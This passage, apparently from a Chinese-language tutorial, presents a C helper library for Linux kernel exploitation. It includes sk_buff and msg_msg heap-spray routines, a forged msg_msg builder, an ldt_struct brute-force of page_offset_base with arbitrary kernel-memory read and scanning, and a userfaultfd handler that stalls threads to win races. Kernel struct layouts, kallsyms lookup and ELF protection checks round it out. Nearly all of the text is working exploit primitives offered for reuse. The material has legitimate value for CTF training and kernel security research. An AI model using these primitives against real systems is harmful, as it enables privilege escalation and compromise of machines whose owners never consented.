#define KEY_SPEC_PROCESS_KEYRING -2 /* 当前进程的密钥环(keyring)ID */
#define KEYCTL_UPDATE 2             /* 更新指定 key 的 payload 内容 */
#define KEYCTL_REVOKE 3             /* 撤销 key,使其不可再用 */
#define KEYCTL_UNLINK 9             /* 从某个 keyring 中移除 key */
#define KEYCTL_READ 11              /* 读取 key 的内容 */

/**
 * key_alloc - 向当前进程 keyring 中添加一个新的 key
 *
 * @description: key 的名字
 * @payload:     要存储的内容指针
 * @plen:        内容长度
 *
 * 返回值:key ID(成功),或负数表示错误码
 */
int key_alloc(char *description, void *payload, size_t plen) {
  return syscall(__NR_add_key, "user", description, payload, plen,
                 KEY_SPEC_PROCESS_KEYRING);
}

/**
 * key_update - 更新指定 key 的 payload
 *
 * @keyid:   要更新的 key ID
 * @payload: 新的数据
 * @plen:    数据长度
 *
 * 返回值:0(成功)或负数表示错误码
 */
int key_update(int keyid, void *payload, size_t plen) {
  return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

/**
 * key_read - 读取 key 的内容到用户缓冲区
 *
 * @keyid:   要读取的 key ID
 * @buffer:  读入数据的缓冲区
 * @buflen:  缓冲区大小
 *
 * 返回值:实际读取的字节数或负数表示错误码
 */
int key_read(int keyid, void *buffer, size_t buflen) {
  return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

/**
 * key_revoke - 撤销指定 key,使其不可再被访问
 *
 * @keyid: key 的 ID
 *
 * 返回值:0(成功)或负数表示错误码
 */
int key_revoke(int keyid) {
  return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

/**
 * key_unlink - 从当前进程的 keyring 中移除一个 key
 *
 * @keyid: 要移除的 key ID
 *
 * 返回值:0(成功)或负数表示错误码
 */
int key_unlink(int keyid) {
  return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

4.5 sk_buff喷射相关



/*
5. sk_buff 喷射相关
注意:每个 sk_buff 的尾部包含一个 320 字节的 skb_shared_info 结构
*/

#define SOCKET_NUM 8    // 使用 8 个 socketpair 进行并发喷射
#define SK_BUFF_NUM 128 // 每个 socketpair 写入 128 个数据包(sk_buff)

/**
 * init_socket_array - 初始化 socketpair 数组
 *
 * @sk_socket: 二维数组,每个元素是一个 socketpair [0] 读端 [1] 写端
 *
 * 用 AF_UNIX 创建多个 socketpair,用于后续 sk_buff spray。
 */
int init_socket_array(int sk_socket[SOCKET_NUM][2]) {
  for (int i = 0; i < SOCKET_NUM; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
      log_error("failed to create no.%d socket pair!\n", i);
      return -1;
    }
  }
  return 0;
}

/**
 * spray_sk_buff - 向 socket 写入数据以触发 sk_buff 分配
 *
 * @sk_socket: socketpair 数组
 * @buf: 写入的数据内容(由用户控制)
 * @size: 写入的数据大小(应为 PAGE 对齐或 kmalloc-* 目标)
 *
 * 返回值:0 表示 spray 成功,-1 表示失败
 */
int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) {
  for (int i = 0; i < SOCKET_NUM; i++) {
    for (int j = 0; j < SK_BUFF_NUM; j++) {
      if (write(sk_socket[i][0], buf, size) < 0) {
        log_error("failed to spray %d sk_buff for %d socket!\n", j, i);
        return -1;
      }
    }
  }
  return 0;
}

/**
 * free_sk_buff - 从 socket 读出数据以释放 sk_buff 对象
 *
 * @sk_socket: socketpair 数组
 * @buf: 读入的临时缓冲区(可重复利用)
 * @size: 每次读取的大小(应与写入一致)
 *
 * 返回值:0 表示释放成功,-1 表示失败
 */
int free_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) {
  for (int i = 0; i < SOCKET_NUM; i++) {
    for (int j = 0; j < SK_BUFF_NUM; j++) {
      if (read(sk_socket[i][1], buf, size) < 0) {
        log_error("failed to receive sk_buff!");
        return -1;
      }
    }
  }
  return 0;
}

4.6 msg_msg喷射相关

/*
6. msg_msg 相关
*/

#ifndef MSG_COPY
#define MSG_COPY 040000
#endif

// 内核结构体定义
struct msg_msg {
  struct list_head m_list; // 链表指针
  uint64_t m_type;         // 消息类型
  uint64_t m_ts;           // 消息大小
  uint64_t next;     // 下一个 msg_msgseg 的地址(用于长消息)
  uint64_t security; // 安全模块字段(如 SELinux)
};

struct msg_msgseg {
  uint64_t next; // 链式分段消息结构
};

/* 用户态发送消息使用的结构体
struct msgbuf {
    long mtype;     // 消息类型
    char mtext[0];  // 可变大小正文
};
*/

/**
 * get_msg_queue - 创建一个新的 System V 消息队列
 *
 * 使用 msgget() 创建一个私有(IPC_PRIVATE)消息队列,用于 spray msg_msg。
 * 每次调用返回一个新的队列 ID。
 *
 * 返回值:
 *   >0 - 成功返回消息队列 ID;
 *   <0 - 创建失败,返回错误码
 */
int get_msg_queue(void) { return msgget(IPC_PRIVATE, 0666 | IPC_CREAT); }

/**
 * read_msg - 从消息队列中读取一条消息(并删除它)
 *
 * @msqid: 目标消息队列 ID
 * @msgp: 接收数据的缓冲区,应指向 struct msgbuf
 * @msgsz: 要读取的数据长度(不含 mtype)
 * @msgtyp: 读取的消息类型(0 表示任意)
 *
 * 返回值:
 *   >=0 - 实际读取的字节数;
 *   <0  - 读取失败,返回错误码
 */
ssize_t read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
 * write_msg - 向消息队列中发送一条消息
 *
 * 注意:msgp 应为 struct msgbuf* 类型,并预留足够空间用于 mtext。
 *
 * @msqid: 目标消息队列 ID
 * @msgp: 消息缓冲区(struct msgbuf 指针)
 * @msgsz: 数据长度(不含 mtype,仅 mtext 部分)
 * @msgtyp: 设置的消息类型(mtype 字段)
 *
 * 返回值:
 *   0  - 成功发送;
 *  -1  - 发送失败,返回错误码
 */
ssize_t write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  ((struct msgbuf *)msgp)->mtype = msgtyp;
  return msgsnd(msqid, msgp, msgsz, 0);
}

/**
 * peek_msg - 使用 MSG_COPY 从消息队列中复制一条消息内容(不移除)
 *
 * 该操作常用于内核信息泄露漏洞中,以零拷贝方式读取内核中 msg_msg 的数据。
 * 要求内核支持 MSG_COPY(CAP_SYS_ADMIN),否则将失败。
 *
 * @msqid: 消息队列 ID
 * @msgp: 用于接收内容的缓冲区(struct msgbuf 指针)
 * @msgsz: 缓冲区大小
 * @msgtyp: 第几条消息(按编号而非类型)
 *
 * 返回值:
 *   >=0 - 实际读取的字节数;
 *   <0  - 操作失败(权限不足或格式错误)
 */
ssize_t peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  return msgrcv(msqid, msgp, msgsz, msgtyp,
                MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

/**
 * build_msg - 构造伪造的 struct msg_msg 内核对象
 *
 * 本函数通常用于在用户空间伪造 spray 内容,模拟真实的 msg_msg 布局,
 * 配合 UAF 或 infoleak 实现对象替换、字段伪造或 fake ROP。
 *
 * @msg: 目标缓冲区,应指向 struct msg_msg
 * @m_list_next: 链表 next 指针
 * @m_list_prev: 链表 prev 指针
 * @m_type: 消息类型
 * @m_ts: 消息正文长度
 * @next: 下一个 msg_msgseg 的地址
 * @security: security 字段(如 SELinux)
 */
void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
               uint64_t m_type, uint64_t m_ts, uint64_t next,
               uint64_t security) {
  msg->m_list.next = m_list_next;
  msg->m_list.prev = m_list_prev;
  msg->m_type = m_type;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = security;
}

4.7 与ldt_struct(本地描述符表)相关的利用


/*
 * 第 7 部分 - 与 ldt_struct(本地描述符表)相关的利用
 */

/**
 * 有时候我们可能会使用 MUSL-GCC 编译 exploit,
 * 但 MUSL 并不包含 `asm/ldt.h` 这个头文件。
 * 由于这个头文件很小,我就直接把它的内容复制到这里了 :)
 */

/* 最大支持的 LDT 项数量 */
#define LDT_ENTRIES 8192
/* 每个 LDT 项的大小 */
#define LDT_ENTRY_SIZE 8

#ifndef __ASSEMBLY__

/*
 * 注意:在 64 位系统下,base 和 limit 实际上是无效的,
 * 且不能设置 DS/ES/CS 为非默认值,否则会影响 syscall。
 * 所以此接口主要用于 32 位兼容模式下。
 */
struct user_desc {
  unsigned int entry_number;
  unsigned int base_addr;
  unsigned int limit;
  unsigned int seg_32bit : 1;
  unsigned int contents : 2;
  unsigned int read_exec_only : 1;
  unsigned int limit_in_pages : 1;
  unsigned int seg_not_present : 1;
  unsigned int useable : 1;
#ifdef __x86_64__
  /*
   * 这个字段在 32 位程序中不存在,用户程序可能传入未初始化值。
   * 因此如果从 32 位程序中获取 user_desc,内核会强制忽略 lm。
   */
  unsigned int lm : 1;
#endif
};

#define MODIFY_LDT_CONTENTS_DATA 0
#define MODIFY_LDT_CONTENTS_STACK 1
#define MODIFY_LDT_CONTENTS_CODE 2

#endif /* !__ASSEMBLY__ */

/* 示例地址,取决于目标内核,应手动替换 */
#define SECONDARY_STARTUP_64 0xffffffff81000060

/**
 * init_desc - 初始化 user_desc 描述符结构体
 *
 * @desc: 指向待初始化的 struct user_desc 结构
 */
static inline void init_desc(struct user_desc *desc) {
  desc->base_addr = 0xff0000;
  desc->entry_number = 0x8000 / 8;
  desc->limit = 0;
  desc->seg_32bit = 0;
  desc->contents = 0;
  desc->limit_in_pages = 0;
  desc->lm = 0;
  desc->read_exec_only = 0;
  desc->seg_not_present = 0;
  desc->useable = 0;
}

/**
 * ldt_guessing_direct_mapping_area - 暴力猜测 page_offset_base
 *
 * 通过持续修改 ldt_struct->entries 并调用 SYS_modify_ldt 尝试从
 * 用户态读取对应内核地址,直到命中 direct mapping 区域。
 *
 * @ldt_cracker: 用于使 ldt_struct 可修改的函数
 * @cracker_args: ldt_cracker 的参数
 * @ldt_momdifier: 修改 ldt->entries 的函数
 * @momdifier_args: ldt_momdifier 的参数
 * @burte_size: 每轮尝试的偏移增量
 *
 * 返回值:猜测出的 page_offset_base 地址,失败则返回 -1
 */
size_t ldt_guessing_direct_mapping_area(void *(*ldt_cracker)(void *),
                                        void *cracker_args,
                                        void *(*ldt_momdifier)(void *, size_t),
                                        void *momdifier_args,
                                        uint64_t burte_size) {
  struct user_desc desc;
  uint64_t page_offset_base = 0xffff888000000000;
  uint64_t temp;
  int retval;

  init_desc(&desc);

  log_info("准备使 ldt_struct 可修改...");
  ldt_cracker(cracker_args);
  syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

  log_info("开始尝试猜测 page_offset_base...");
  while (1) {
    ldt_momdifier(momdifier_args, page_offset_base);
    retval = syscall(SYS_modify_ldt, 0, &temp, 8);
    if (retval > 0) {
      log_success("猜测成功!page_offset_base = 0x%lx", page_offset_base);
      break;
    } else if (retval == 0) {
      log_error("modify_ldt 返回 0,说明 mm->context.ldt 不存在!");
      page_offset_base = -1;
      break;
    }
    page_offset_base += burte_size;
  }

  return page_offset_base;
}

/**
 * ldt_arbitrary_read - 读取任意内核地址的内容
 *
 * 注意:应先调用 ldt_guessing_direct_mapping_area() 获取有效的
 * page_offset_base,并在同一进程上下文中调用本函数。
 *
 * @ldt_momdifier: 修改 ldt_struct->entries 的函数
 * @momdifier_args: 传入该函数的参数
 * @addr: 要读取的内核地址
 * @res_buf: 用于保存读取内容的缓冲区(应至少 0x8000 字节)
 */
void ldt_arbitrary_read(void *(*ldt_momdifier)(void *, size_t),
                        void *momdifier_args, size_t addr, char *res_buf) {
  static char buf[0x8000];
  struct user_desc desc;
  int pipe_fd[2];

  init_desc(&desc);
  ldt_momdifier(momdifier_args, addr);

  pipe(pipe_fd);
  if (!fork()) {
    // 子进程
    syscall(SYS_modify_ldt, 0, buf, 0x8000);
    write(pipe_fd[1], buf, 0x8000);
    exit(0);
  } else {
    // 父进程
    wait(NULL);
    read(pipe_fd[0], res_buf, 0x8000);
  }

  close(pipe_fd[0]);
  close(pipe_fd[1]);
}

/**
 * ldt_seeking_memory - 扫描内核内存以寻找目标内容
 *
 * 此函数每次读取 0x8000 字节数据,通过用户提供的 mem_finder()
 * 函数在读取的数据中查找目标内容,一旦找到则返回对应内核地址。
 *
 * 注意:应先调用 ldt_guessing_direct_mapping_area() 获取基地址。
 *
 * @ldt_momdifier: 修改 ldt_struct->entries 的函数
 * @momdifier_args: 传入的参数
 * @page_offset_base: 已泄露的 direct mapping 区基地址
 * @mem_finder: 查找函数,形如 size_t finder(void *args, char *buf)
 *              返回偏移,未找到返回 -1
 * @finder_args: 查找函数所需参数
 *
 * 返回值:目标内核地址,未找到则返回 -1
 */
size_t ldt_seeking_memory(void *(*ldt_momdifier)(void *, size_t),
                          void *momdifier_args, uint64_t page_offset_base,
                          size_t (*mem_finder)(void *, char *),
                          void *finder_args) {
  static char buf[0x8000];
  size_t search_addr = page_offset_base;
  size_t result_addr = -1, offset;

  log_info("开始遍历内核内存寻找目标内容...");
  while (1) {
    ldt_arbitrary_read(ldt_momdifier, momdifier_args, search_addr, buf);

    offset = mem_finder(finder_args, buf);
    if (offset != (size_t)-1) {
      result_addr = search_addr + offset;
      log_success("内容匹配成功!目标地址 = 0x%lx", result_addr);
      break;
    }

    search_addr += 0x8000;
  }

  return result_addr;
}

4.8与userfaultfd利用相关的代码

/*
8. 与 userfaultfd 利用相关的代码
 */

/**
 * 有时候我们使用 MUSL-GCC 编译时,MUSL 并不提供 `userfaultfd.h`。
 * 不过我们只需要少量结构和宏定义用于漏洞利用,所以直接定义在这里即可 :)
 */

#define UFFD_API ((uint64_t)0xAA)
#define _UFFDIO_REGISTER (0x00)
#define _UFFDIO_COPY (0x03)
#define _UFFDIO_API (0x3F)

/* userfaultfd ioctl ids */
#define UFFDIO 0xAA
#define UFFDIO_API _IOWR(UFFDIO, _UFFDIO_API, struct uffdio_api)
#define UFFDIO_REGISTER _IOWR(UFFDIO, _UFFDIO_REGISTER, struct uffdio_register)
#define UFFDIO_COPY _IOWR(UFFDIO, _UFFDIO_COPY, struct uffdio_copy)

/* read() structure */
struct uffd_msg {
  uint8_t event;

  uint8_t reserved1;
  uint16_t reserved2;
  uint32_t reserved3;

  union {
    struct {
      uint64_t flags;
      uint64_t address;
      union {
        uint32_t ptid;
      } feat;
    } pagefault;

    struct {
      uint32_t ufd;
    } fork;

    struct {
      uint64_t from;
      uint64_t to;
      uint64_t len;
    } remap;

    struct {
      uint64_t start;
      uint64_t end;
    } remove;

    struct {
      /* unused reserved fields */
      uint64_t reserved1;
      uint64_t reserved2;
      uint64_t reserved3;
    } reserved;
  } arg;
} __attribute__((packed));

#define UFFD_EVENT_PAGEFAULT 0x12

struct uffdio_api {
  uint64_t api;
  uint64_t features;
  uint64_t ioctls;
};

struct uffdio_range {
  uint64_t start;
  uint64_t len;
};

struct uffdio_register {
  struct uffdio_range range;
#define UFFDIO_REGISTER_MODE_MISSING ((uint64_t)1 << 0)
#define UFFDIO_REGISTER_MODE_WP ((uint64_t)1 << 1)
  uint64_t mode;
  uint64_t ioctls;
};

struct uffdio_copy {
  uint64_t dst;
  uint64_t src;
  uint64_t len;
#define UFFDIO_COPY_MODE_DONTWAKE ((uint64_t)1 << 0)
  uint64_t mode;
  int64_t copy;
};

// #include <linux/userfaultfd.h>

char temp_page_for_stuck[0x1000];

/**
 * register_userfaultfd - 注册 userfaultfd 并绑定处理线程
 *
 * @monitor_thread: 输出参数,指向被创建的监控线程对象
 * @addr: 被监控的起始地址
 * @len: 被监控区域长度
 * @handler: 页错误触发时的处理函数
 */
void register_userfaultfd(pthread_t *monitor_thread, void *addr,
                          unsigned long len, void *(*handler)(void *)) {
  long uffd;
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;

  /* Create and enable userfaultfd object */
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  if (uffd == -1) {
    err_exit("userfaultfd");
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
    err_exit("ioctl-UFFDIO_API");
  }

  uffdio_register.range.start = (unsigned long)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
    err_exit("ioctl-UFFDIO_REGISTER");
  }

  s = pthread_create(monitor_thread, NULL, handler, (void *)uffd);
  if (s != 0) {
    err_exit("pthread_create");
  }
}

/**
 * uffd_handler_for_stucking_thread - 模拟卡住的线程处理函数
 *
 * @args: userfaultfd 的描述符
 *
 * 当 userfaultfd 触发 pagefault
 * 事件时,该线程休眠等待,以模拟“卡住”的执行状态。
 */
void *uffd_handler_for_stucking_thread(void *args) {
  struct uffd_msg msg;
  int fault_cnt = 0;
  long uffd;

  struct uffdio_copy uffdio_copy;
  ssize_t nread;

  uffd = (long)args;

  for (;;) {
    struct pollfd pollfd;
    int nready;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    nready = poll(&pollfd, 1, -1);

    if (nready == -1) {
      err_exit("poll");
    }

    nread = read(uffd, &msg, sizeof(msg));

    /* just stuck there is okay... */
    sleep(100000000);

    if (nread == 0) {
      err_exit("EOF on userfaultfd!\n");
    }

    if (nread == -1) {
      err_exit("read");
    }

    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      err_exit("Unexpected event on userfaultfd\n");
    }

    uffdio_copy.src = (unsigned long long)temp_page_for_stuck;
    uffdio_copy.dst =
        (unsigned long long)msg.arg.pagefault.address & ~(0x1000 - 1);
    uffdio_copy.len = 0x1000;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
      err_exit("ioctl-UFFDIO_COPY");
    }

    return NULL;
  }
}

/**
 * register_userfaultfd_for_thread_stucking - 封装 userfaultfd
 * 注册与卡死处理器注册流程
 *
 * @monitor_thread: 指向线程对象的指针
 * @buf: 被监控的内存区域地址
 * @len: 被监控区域的长度
 */
void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread,
                                              void *buf, unsigned long len) {
  register_userfaultfd(monitor_thread, buf, len,
                       uffd_handler_for_stucking_thread);
}

4.9 内核结构



/**
9. 内核结构
 */

struct file;
struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;
struct ktermios;
struct termiox;
struct seq_operations;

struct seq_file {
  char *buf;
  size_t size;
  size_t from;
  size_t count;
  size_t pad_until;
  loff_t index;
  loff_t read_pos;
  uint64_t lock[4]; // struct mutex lock;
  const struct seq_operations *op;
  int poll_event;
  const struct file *file;
  void *Private; // 实际为 void *private , private与C++关键字冲突
};

struct seq_operations {
  void *(*start)(struct seq_file *m, loff_t *pos);
  void (*stop)(struct seq_file *m, void *v);
  void *(*next)(struct seq_file *m, void *v, loff_t *pos);
  int (*show)(struct seq_file *m, void *v);
};

struct tty_operations {
  struct tty_struct *(*lookup)(struct tty_driver *driver, struct file *filp,
                               int idx);
  int (*install)(struct tty_driver *driver, struct tty_struct *tty);
  void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
  int (*open)(struct tty_struct *tty, struct file *filp);
  void (*close)(struct tty_struct *tty, struct file *filp);
  void (*shutdown)(struct tty_struct *tty);
  void (*cleanup)(struct tty_struct *tty);
  int (*write)(struct tty_struct *tty, const unsigned char *buf, int count);
  int (*put_char)(struct tty_struct *tty, unsigned char ch);
  void (*flush_chars)(struct tty_struct *tty);
  int (*write_room)(struct tty_struct *tty);
  int (*chars_in_buffer)(struct tty_struct *tty);
  int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
  long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd,
                       unsigned long arg);
  void (*set_termios)(struct tty_struct *tty, struct ktermios *old);
  void (*throttle)(struct tty_struct *tty);
  void (*unthrottle)(struct tty_struct *tty);
  void (*stop)(struct tty_struct *tty);
  void (*start)(struct tty_struct *tty);
  void (*hangup)(struct tty_struct *tty);
  int (*break_ctl)(struct tty_struct *tty, int state);
  void (*flush_buffer)(struct tty_struct *tty);
  void (*set_ldisc)(struct tty_struct *tty);
  void (*wait_until_sent)(struct tty_struct *tty, int timeout);
  void (*send_xchar)(struct tty_struct *tty, char ch);
  int (*tiocmget)(struct tty_struct *tty);
  int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);
  int (*resize)(struct tty_struct *tty, struct winsize *ws);
  int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
  int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
  void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
  int (*poll_init)(struct tty_driver *driver, int line, char *options);
  int (*poll_get_char)(struct tty_driver *driver, int line);
  void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
  const struct file_operations *proc_fops;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
  struct page *page;
  unsigned int offset, len;
  const struct pipe_buf_operations *ops;
  unsigned int flags;
  unsigned long Private; // 实际为 unsigned long private ,
                         // private与C++关键字冲突
};

struct pipe_buf_operations {
  /*
   * ->confirm() 用于确认 pipe 缓冲区中的数据是可用且有效的。
   * 如果缓冲区中的页面属于某个文件系统,我们可能需要在此钩子中等待 I/O 完成。
   * 返回值为 0 表示数据有效,返回负值表示错误。
   * 如果未实现该函数,内核将默认所有页面都是有效的。
   */
  int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

  /*
   * 当 pipe 缓冲区中的数据被读者完全消费后,会调用 ->release()。
   * 通常用于释放或清理与该缓冲区相关的资源。
   */
  void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

  /*
   * 尝试“窃取”pipe 缓冲区及其内容的所有权。
   * ->try_steal() 返回 true(非
   * 0)表示成功,此时缓冲区所指的页被锁定并完全归调用者所有。
   * 调用者可以将该页面插入到其他地址空间(最常见的用法是插入到文件页缓存中)。
   */
  int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

  /*
   * 获取对 pipe 缓冲区的引用。
   * 通常用于增加引用计数,防止缓冲区被过早释放。
   */
  int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

4.10 内核符号表相关

主要用法:

  1. kallsyms_init("符号表地址")
  2. kallsyms_find("想要查找的函数名")

用于检索符号表中的函数名

/*
10. 内核符号表相关
*/

#define SYMBOL_NAME_MAX 128
#define HASH_TABLE_SIZE 8192

/* 符号表项结构体 */
typedef struct SymbolEntry {
  char name[SYMBOL_NAME_MAX]; /* 符号名 */
  size_t address;             /* 地址 */
  struct SymbolEntry *next;   /* 链式哈希冲突处理 */
} SymbolEntry;

/* 哈希表结构体 */
typedef struct {
  SymbolEntry *buckets[HASH_TABLE_SIZE];
} SymbolTable;

/* 全局静态符号表 */
static SymbolTable symbol_table;
static int initialized = 0;

/**
 * kallsyms_hash - 计算符号名的哈希值
 *
 * @name: 符号名字符串
 *
 * 返回值:
 *   哈希值索引
 */
unsigned long kallsyms_hash(const char *name) {
  unsigned long hash = 5381;
  int c;

  while ((c = *name++))
    hash = ((hash << 5) + hash) + c;

  return hash % HASH_TABLE_SIZE;
}

/**
 * kallsyms_insert - 插入符号项到哈希表
 *
 * @name: 符号名
 * @address: 地址
 */
void kallsyms_insert(const char *name, size_t address) {
  unsigned long index = kallsyms_hash(name);
  SymbolEntry *entry = (SymbolEntry *)malloc(sizeof(SymbolEntry));

  if (!entry)
    err_exit("malloc failed when inserting symbol: %s", name);

  strncpy(entry->name, name, SYMBOL_NAME_MAX - 1);
  entry->name[SYMBOL_NAME_MAX - 1] = '\0';
  entry->address = address;
  entry->next = symbol_table.buckets[index];
  symbol_table.buckets[index] = entry;
}

/**
 * symbol - 读取并解析 /tmp/kallsyms 构建符号表
 *
 * @filePath: kallsyms 文件路径
 */
void kallsyms_init(const char *filePath) {
  if (initialized)
    return;

  FILE *file = fopen(filePath, "r");
  if (!file)
    err_exit("无法打开符号文件: %s", filePath);

  char line[256];
  char name[SYMBOL_NAME_MAX], type;
  size_t address;

  while (fgets(line, sizeof(line), file)) {
    if (sscanf(line, "%zx %c %127s", &address, &type, name) == 3)
      kallsyms_insert(name, address);
  }

  fclose(file);
  initialized = 1;
  log_success("符号表构建完成");
}

/**
 * find_symbol - 查找符号名对应的地址
 *
 * @funName: 符号名
 *
 * 返回值:
 *  >0 - 函数地址
 *  =0 - 未找到
 */
size_t kallsyms_find(const char *funName) {
  unsigned long index = kallsyms_hash(funName);
  SymbolEntry *curr = symbol_table.buckets[index];

  while (curr) {
    if (strcmp(curr->name, funName) == 0)
      return curr->address;
    curr = curr->next;
  }

  return 0;
}

4.11 ELF文件相关

主要使用方法:

  1. elf_symbol_init("elf文件地址") 初始化
  2. elf_symbol_find("函数地址") 用于检索sym表函数地址
/*
11. elf符号表相关
*/

/* ELF 相关静态状态 */
static Elf *elf = NULL;
static int elf_fd = -1;
static size_t symtab_ndx = 0;
static Elf_Data *symtab_data = NULL;
static GElf_Shdr symtab_shdr;

/**
 * elf_find_symbol - 查找符号地址
 *
 * @symbol_name: 符号名
 *
 * 返回值:
 *   >0 符号地址(st_value)
 *   =0 找不到
 */
size_t elf_find_symbol(const char *symbol_name) {
  if (!elf || !symtab_data) {
    log_error("符号表未初始化");
    return 0;
  }

  for (size_t i = 0; i < symtab_ndx; i++) {
    GElf_Sym sym;
    if (gelf_getsym(symtab_data, (int)i, &sym) != &sym)
      continue;

    const char *name = elf_strptr(elf, symtab_shdr.sh_link, sym.st_name);

    if (name && strcmp(name, symbol_name) == 0) {
      log_success("%s 地址 0x%zx", symbol_name, (size_t)sym.st_value);
      return (size_t)sym.st_value;
    }
  }

  return 0;
}

/**
 * elf_symbol_print - 打印 ELF 文件基本信息和保护机制
 */
void elf_symbol_print(void) {
  GElf_Ehdr ehdr;

  if (!elf || gelf_getehdr(elf, &ehdr) != &ehdr) {
    log_error("无法读取 ELF 头部");
    return;
  }

  /* 打印基本信息 */
  const char *class_str =
      (gelf_getclass(elf) == ELFCLASS64) ? "ELF64" : "ELF32";
  const char *arch_str = "unknown";

  switch (ehdr.e_machine) {
  case EM_X86_64:
    arch_str = "x86_64";
    break;
  case EM_386:
    arch_str = "x86";
    break;
  case EM_ARM:
    arch_str = "ARM";
    break;
  case EM_AARCH64:
    arch_str = "AArch64";
    break;
  default:
    arch_str = "未知";
    break;
  }

  log_info("ELF 文件类型 : %s", class_str);
  log_info("架构         : %s", arch_str);
  log_info("入口点地址   : 0x%zx", (size_t)ehdr.e_entry);

  /* 动态链接标识 */
  size_t phnum;
  int is_dynamic = 0;

  if (elf_getphdrnum(elf, &phnum) == 0 && phnum > 0)
    is_dynamic = 1;

  log_info("是否动态链接 : %s", is_dynamic ? "是" : "否");

  /* ========== ELF 保护机制 ========== */

  /* PIE 检测 */
  int is_pie = (ehdr.e_type == ET_DYN);

  /* NX 检测(PT_GNU_STACK) */
  int has_nx = 1;
  for (size_t i = 0; i < phnum; i++) {
    GElf_Phdr phdr;
    if (gelf_getphdr(elf, i, &phdr) != &phdr)
      continue;
    if (phdr.p_type == PT_GNU_STACK) {
      if (phdr.p_flags & PF_X)
        has_nx = 0;
      break;
    }
  }

  /* RELRO / BIND_NOW 检测 */
  int has_relro = 0, has_bindnow = 0;
  Elf_Scn *scn = NULL;
  while ((scn = elf_nextscn(elf, scn)) != NULL) {
    GElf_Shdr shdr;
    if (gelf_getshdr(scn, &shdr) != &shdr)
      continue;

#ifndef SHT_GNU_VERNEED
#define SHT_GNU_VERNEED 0x6ffffffe
#endif

#ifndef SHT_GNU_VERDEF
#define SHT_GNU_VERDEF 0x6ffffffd
#endif

    /* 简单判断 */
    if (shdr.sh_type == SHT_GNU_VERNEED || shdr.sh_type == SHT_GNU_VERDEF)
      has_relro = 1;
    if (shdr.sh_type == SHT_RELA || shdr.sh_type == SHT_REL)
      has_bindnow = 1;
  }

  /* Canary 检测 */
  int has_canary = (elf_find_symbol("__stack_chk_fail") != 0);

  /* 打印保护信息 */
  log_protection("PIE", is_pie);
  log_protection("NX", has_nx);
  log_protection("Canary", has_canary);
  log_protection("RELRO", has_relro);
  log_protection("BIND_NOW", has_bindnow);
}

/**
 * elf_symbol_init - 加载 ELF 文件并解析符号表
 *
 * @elf_path: ELF 文件路径
 */
void elf_symbol_init(const char *elf_path) {
  if (elf != NULL) {
    log_info("符号表已初始化,无需重复加载");
    return;
  }

  if (elf_version(EV_CURRENT) == EV_NONE)
    err_exit("libelf 初始化失败");

  elf_fd = open(elf_path, O_RDONLY);
  if (elf_fd < 0)
    err_exit("无法打开 ELF 文件: %s", elf_path);

  elf = elf_begin(elf_fd, ELF_C_READ, NULL);
  if (!elf)
    err_exit("elf_begin 失败: %s", elf_errmsg(-1));

  size_t shstrndx;
  if (elf_getshdrstrndx(elf, &shstrndx) != 0)
    err_exit("elf_getshdrstrndx 失败: %s", elf_errmsg(-1));

  Elf_Scn *scn = NULL;
  while ((scn = elf_nextscn(elf, scn)) != NULL) {
    GElf_Shdr shdr;
    if (gelf_getshdr(scn, &shdr) != &shdr)
      continue;

    if (shdr.sh_type == SHT_SYMTAB || shdr.sh_type == SHT_DYNSYM) {
      symtab_data = elf_getdata(scn, NULL);
      symtab_ndx = shdr.sh_size / shdr.sh_entsize;
      symtab_shdr = shdr;
      log_success("加载符号表成功,符号数: %zu", symtab_ndx);
      elf_symbol_print();
      return;
    }
  }

  err_exit("未找到符号表段");
}

/**
 * elf_symbol_cleanup - 清理 ELF 状态
 */
void elf_symbol_cleanup(void) {
  if (elf) {
    elf_end(elf);
    elf = NULL;
  }
